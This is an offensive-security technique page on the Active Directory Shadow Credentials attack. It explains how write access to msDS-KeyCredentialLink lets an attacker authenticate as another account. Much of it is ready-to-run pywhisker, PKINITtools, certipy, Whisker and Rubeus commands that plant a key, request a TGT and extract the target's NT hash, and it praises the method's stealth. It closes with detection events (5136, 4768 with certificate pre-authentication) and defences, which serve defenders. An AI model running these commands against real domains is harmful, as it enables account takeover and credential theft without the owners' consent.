Shadow Credentials

The Shadow Credentials attack turns a write permission over an Active Directory account into full authentication as that account, without knowing or changing its password. It is the cleanest way to exploit GenericWrite, GenericAll or any ACE that allows writing the target's msDS-KeyCredentialLink attribute.

What it is based on. Since Windows Server 2016, Active Directory supports certificate authentication via PKINIT (the basis of Windows Hello for Business). The public keys authorized for an account are stored in the msDS-KeyCredentialLink attribute. If we can write that attribute, we add our own public key and from there request a TGT via PKINIT, authenticating with the private key we control.

How it is executed. The reference tool is pywhisker (writes the attribute and generates a .pfx), followed by the PKINITtools:

python3 pywhisker.py -d <domain> -u <attacker> -p <pass> --target <target> --action add
python3 gettgtpkinit.py -cert-pfx <file.pfx> -pfx-pass <pass> <domain>/<target> <ccache>
KRB5CCNAME=<ccache> python3 getnthash.py -key <as-rep-key> -dc-ip <ip> <domain>/<target>

gettgtpkinit obtains the TGT and, from the session key it returns, getnthash derives the account's NT hash. With that hash you can already do Pass-the-Hash or keep pivoting.

There is also a one-command path and Windows variants:

# certipy: add the key, request the TGT and pull the NT hash in one go
certipy shadow auto -u <attacker>@<domain> -p <pass> -account <target> -dc-ip <ip>
# list or remove already-seeded keys
python3 pywhisker.py -d <domain> -u <attacker> -p <pass> --target <target> --action list
python3 pywhisker.py -d <domain> -u <attacker> -p <pass> --target <target> --action remove --device-id <id>

Whisker.exe add /target:<target>
Rubeus.exe asktgt /user:<target> /certificate:<file.pfx> /password:<pass> /ptt

Versus other abuses. Compared with forcing a password change, Shadow Credentials is stealthier: it does not break the legitimate user's logon nor leave a new password, it only adds an entry in a rarely-watched attribute. That is why it is often preferred when the target is an account in active use.

How to detect it. Adding the key leaves an Event ID 5136 (a directory service object was modified) on the msDS-KeyCredentialLink attribute; since almost no organisation uses Windows Hello for Business on server accounts, any write of that attribute onto anything but a user workstation is highly suspicious (requires Audit Directory Service Changes and a SACL). The subsequent use appears as a PKINIT authentication: Event ID 4768 (TGT request) with Pre-Authentication Type 16 and a populated Certificate Information field, instead of the usual RC4/AES of a password. That 4768 with a certificate for an account that never authenticates that way closes the detection.

Defence. Restrict who can write msDS-KeyCredentialLink and, if Windows Hello for Business is not used, consider clearing/auditing the attribute. PKINIT protection and the certificate security extension (ESC9) are related.